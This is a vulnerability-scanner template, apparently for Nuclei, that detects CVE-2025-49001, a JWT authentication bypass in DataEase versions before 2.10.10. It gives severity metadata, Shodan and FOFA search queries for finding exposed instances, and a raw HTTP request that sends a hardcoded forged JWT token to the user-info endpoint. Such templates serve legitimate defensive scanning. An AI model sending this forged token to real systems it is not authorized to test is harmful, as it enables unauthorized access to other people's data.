Description
DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
id: CVE-2025-49001
info:
name: DataEase < 2.10.10 - JWT Authentication Bypass
author: YunSeoJo,aryu-ru
severity: critical
description: |
DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
impact: |
Users can forge JWT tokens, potentially gaining unauthorized access to the system.
remediation: |
Update to version 2.10.10 or later.
reference:
- https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
- https://github.com/dataease/dataease
- https://nvd.nist.gov/vuln/detail/CVE-2025-49001
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-49001
cwe-id: CWE-287
epss-score: 0.22237
epss-percentile: 0.97555
metadata:
verified: true
max-request: 2
vendor: dataease
product: dataease
shodan-query: http.title:"DataEase"
fofa-query: title="DataEase"
tags: cve,cve2025,dataease,auth-bypass,jwt,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/de2api/user/info"
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "token is empty")'
condition: and
internal: true
- raw:
- |
GET /de2api/user/info HTTP/1.1
Host: {{Hostname}}
X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5fQ.tDSRWgqgE9BTy9NDpTE0ZAI2GKxOFPllYz-jOJu635A
matchers-condition: and
matchers:
- type: status
status:
- 400
- type: word
part: header
words:
- "de-gateway-flag"
- "hmacsha256"
condition: and
case-insensitive: true
- type: word
part: body
words:
- "getWriter() has already been called"
extractors:
- type: kval
part: header
kval:
- x_de_execute_version
# digest: 4a0a0047304502204cc02d55c8e586fac605536fd1458f0d146224f6e2e982ccea46327a42144cf90221009b76e5c0c86c757b7651aade3b973a5034a6a7039e88c5691289b4b91094123f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.